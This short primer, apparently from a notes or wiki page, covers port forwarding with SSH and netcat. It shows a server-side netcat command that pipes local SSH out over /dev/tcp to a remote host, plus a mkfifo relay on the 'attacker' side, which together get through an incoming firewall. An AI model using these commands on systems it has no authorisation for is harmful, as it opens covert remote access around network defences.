Port Forwarding Primer

Using SSH to access local processes or access local internal network machines

Using netcat

On server behind (incoming) firewall:

nc localhost 22 >& /dev/tcp/<your-hostname>/<open port on local computer, i.e. 9000> 0>&1

On local/attacker computer/shell:

cd /tmp; mkfifo backpipe
nc -l 9000 0<backpipe | nc -l 9001 | tee backpipe

On local computer, separate terminal/shell session:

ssh localhost -p 9001

Last updated